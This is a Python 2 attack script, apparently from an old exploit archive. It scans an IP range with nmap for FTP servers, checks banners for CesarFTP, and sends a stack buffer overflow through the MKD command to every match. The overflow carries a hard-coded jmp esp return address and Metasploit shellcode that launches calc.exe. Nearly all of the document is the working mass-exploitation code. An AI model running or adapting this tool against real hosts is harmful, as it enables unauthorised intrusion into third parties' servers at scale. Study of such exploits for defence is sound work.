#!/usr/bin/python
#Uses nmap to scan ip range for open ftp ports,
#if open checks banner to see if cesarFTP is running.
#if so exploits using h07 sploit.
#d3hydr8[at]gmail[dot]com

import commands, sys, getopt, StringIO, re
from socket import *

tmp, args = getopt.getopt(sys.argv[1:],"")
	
def scan():

	iprange = args[0]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	print len(ip_list), "hosts found w/ port 21 open...\n"	
	return ip_list
		
def banscan(iplist):
	
	finlist = []
	import socket, time
	for ip in iplist:
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.settimeout(15)
			s.connect((ip, 21))
			time.sleep(4)
			s.send("\r\n")
			response = s.recvfrom(1024)[0]
			s.close()
			if re.search("cesar", response.lower()) or re.search("cesarftp", response.lower()):
				finlist.append(ip)	
		except socket.error, msg:
			s.close()
   			print "An error occurred:", msg
			
	if len(finlist) == 0: 
		print "\nCouldn't find any servers running CesarFTP\n"
		sys.exit(1)
	return finlist

def intel_order(i):
    	a = chr(i % 256)
    	i = i >> 8
    	b = chr(i % 256)
    	i = i >> 8
    	c = chr(i % 256)
    	i = i >> 8
    	d = chr(i % 256)
    	str = "%c%c%c%c" % (a, b, c, d)
    	return str
	
def exploit(ipaddr):
	
	shellcode = ( #execute calc.exe <metasploit.com>
	"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
	"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
	"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
	"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
	"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
	"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
	"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
	"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
	"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
	"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
	"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

	user = "h07"
	password = "open"
	EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

	s = socket(AF_INET, SOCK_STREAM)
	s.connect((ip, 21))
	print s.recv(1024)

	s.send("user %s\r\n" % (user))
	print s.recv(1024)

	s.send("pass %s\r\n" % (password))
	print s.recv(1024)

	buffer = "MKD "
	buffer += "\n" * 671
	buffer += "A" * 3 + intel_order(EIP)
	buffer += "\x90" * 40 + shellcode
	buffer += "\r\n"

	print "len: %d" % (len(buffer))

	s.send(buffer)
	print s.recv(1024)

	s.close()
	
#................................................
	
if args == []:
	print "\nUsage: ./cesarscan.py <ip range>\n"
else:
	print "\n.:[ Scanning",args[0],"]:.\n"
	finlist = banscan(scan())
	print "Attempting to exploit",len(finlist),"hosts running cesarFTP server...\n"
	for ip in finlist:
		exploit(ip)